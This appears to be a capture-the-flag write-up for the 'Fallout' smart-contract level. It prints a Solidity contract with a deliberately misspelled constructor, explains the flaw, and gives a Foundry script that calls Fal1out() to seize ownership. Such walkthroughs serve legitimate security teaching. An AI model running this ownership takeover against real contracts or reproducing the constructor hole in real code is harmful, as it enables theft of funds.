Level 2 - Fallout ⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Exploit
The contract uses an old method of defining the constructor by (attempting) to set it as the same name as the contract. In this instance, they made a mistake and there's a typo on the "constructor" which means it's different from the contract name, and therefore wasn't run on contract creation and can be run by anyone.
Call the function either using an interface or a
.call
with the function signature.
make anvil-exploit-level-2
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
Unexpected error with integration github-files: Integration is not installed on this space
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IFallout {
function Fal1out() external payable;
}
// ================================================================
// │ LEVEL 2 - FALLOUT │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IFallout targetContract = IFallout(targetContractAddress);
vm.startBroadcast();
targetContract.Fal1out{value: 0}();
vm.stopBroadcast();
}
}
// contract Exploit is Script, GetInstanceAddress {
// function run() public {
// address targetContractAddress = getInstanceAddress();
// // Function signature
// bytes memory payload = abi.encodeWithSignature("Fal1out()");
// vm.startBroadcast();
// (bool success, ) = targetContractAddress.call{value: 0}(payload);
// require(success, "Transaction failed");
// vm.stopBroadcast();
// }
// }
Submit instance... 🥳
Completion Message
Notes
This exploit occurred because before Solidity
v0.5.0
it was not mandatory to name the constructorconstructor
. This was updated with a breaking change in thev0.5.0
release.Even though this contract uses
v0.6.0
this mistake still happened.Exploited contract: https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be
Last updated